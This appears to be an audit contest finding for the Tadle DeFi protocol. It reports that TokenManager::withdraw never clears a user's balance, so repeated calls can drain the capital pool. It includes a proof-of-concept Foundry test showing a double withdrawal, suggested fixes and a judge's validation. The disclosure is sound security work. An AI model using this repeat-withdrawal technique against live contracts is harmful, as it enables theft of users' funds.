Tadle
Tadle
DeFi
30,000 USDC
View results
Previous Next
Submission Details
Severity: high
Valid

State Inconsistency in TokenManager::withdraw Function

0x5chn0uf

Summary

The TokenManager::withdraw function suffers from missing state update issues and doesn't update the user's balance after a successful withdrawal, leading to a state where users can withdraw the same amount multiple times.

Furthermore, the function may lacks access control, allowing any user to call it whereas the natspec specifies ** @dev Caller must be owner. Although it wouldn't make sense to restrict the withdraw function to the Owner only, this leads to confusion.

Vulnerability Details

Below is the TokenManager::withdraw function:

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
uint256 claimAbleAmount = userTokenBalanceMap[_msgSender()][
_tokenAddress
][_tokenBalanceType];
​
// ...
​
// @audit - No update of the balance have been made before the transfers
// Can I withdraw indefinitely?
if (_tokenAddress == wrappedNativeToken) {
_transfer(
wrappedNativeToken,
capitalPoolAddr,
address(this),
claimAbleAmount,
capitalPoolAddr
);
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimAbleAmount);
payable(msg.sender).transfer(claimAbleAmount); // @audit - Potential issue with transfer
} else {
_safe_transfer_from(
_tokenAddress,
capitalPoolAddr,
_msgSender(),
claimAbleAmount
);
}
​
// ...
}

Proof of Concept

  1. User A has a balance of 100 USDC in the TokenManager.

  • User A calls withdraw to withdraw 100 USDC.

  • The function transfers 100 USDC to User A but doesn't update the balance.

  • User A can call withdraw again and receive another 100 USDC.

  • This process can be repeated until the contract is drained of USDC.

Proof of Code

Paste the following test in PreMarkets.t.sol:

function testStateInconsistency() public {
// Setup
address userA = address(0xA);
uint256 initialBalance = 100 * 10 ** 18; // 100 USDC
deal(address(mockUSDCToken), address(tokenManager), initialBalance * 2);
mockUSDCToken.approve(address(tokenManager), type(uint256).max);
​
// Add balance for userA
vm.prank(address(preMarktes));
tokenManager.addTokenBalance(
TokenBalanceType.SalesRevenue,
userA,
address(mockUSDCToken),
initialBalance
);
​
// First withdrawal
vm.prank(userA);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
​
// Check balance after first withdrawal
uint256 balanceAfterFirstWithdrawal = mockUSDCToken.balanceOf(userA);
assertEq(balanceAfterFirstWithdrawal, initialBalance);
​
// Second withdrawal (should not be possible, but it is)
vm.prank(userA);
tokenManager.withdraw(
address(mockUSDCToken),
TokenBalanceType.SalesRevenue
);
​
// Check balance after second withdrawal
uint256 balanceAfterSecondWithdrawal = mockUSDCToken.balanceOf(userA);
assertEq(balanceAfterSecondWithdrawal, initialBalance * 2);
​
// User has withdrawn twice the amount they should have been able to
}

Impact

This vulnerability could lead to significant fund loss. Attackers could potentially drain the contract of more funds than they should have access to.

Moreover, even non-malicious users could accidentally withdraw more funds than intended due to the lack of balance updates.

The lack of access control exacerbates these issues by allowing any user to exploit the vulnerabilities.

Tools Used

Manuel review - Testing

Recommendations

Implement the checks-effects-interactions pattern:

  1. Update the user's balance before making any external calls.

  2. Implement proper access control:

    1. Add an onlyOwner modifier if the function should only be callable by the owner.

  3. Ensure all state changes are made before external calls.

  4. transfer() is not recommended anymore. Use call() instead for sending Ether to prevent potential issues with gas limits.

Here's an example of how the withdraw function could be improved

function withdraw(
address _tokenAddress,
TokenBalanceType _tokenBalanceType
) external whenNotPaused {
// ...
​
+ // Update state before external calls
+ userTokenBalanceMap[_msgSender()][_tokenAddress][_tokenBalanceType] = 0;
​
address capitalPoolAddr = tadleFactory.relatedContracts(
RelatedContractLibraries.CAPITAL_POOL
);
​
if (_tokenAddress == wrappedNativeToken) {
// ...
​
IWrappedNativeToken(wrappedNativeToken).withdraw(claimableAmount);
- payable(msg.sender).transfer(claimAbleAmount);
+ (bool success, ) = payable(msg.sender).call{value: claimableAmount}("");
+ require(success, "ETH transfer failed");
} else {
// ...
}
​

These changes will ensure that the contract state remains consistent after withdrawals.

Updates

Lead Judging Commences

0xnevi Lead Judge 10 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-TokenManager-withdraw-userTokenBalanceMap-not-reset

Valid critical severity finding, the lack of clearance of the `userTokenBalanceMap` mapping allows complete draining of the CapitalPool contract. Note: This would require the approval issues highlighted in other issues to be fixed first (i.e. wrong approval address within `_transfer` and lack of approvals within `_safe_transfer_from` during ERC20 withdrawals)

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.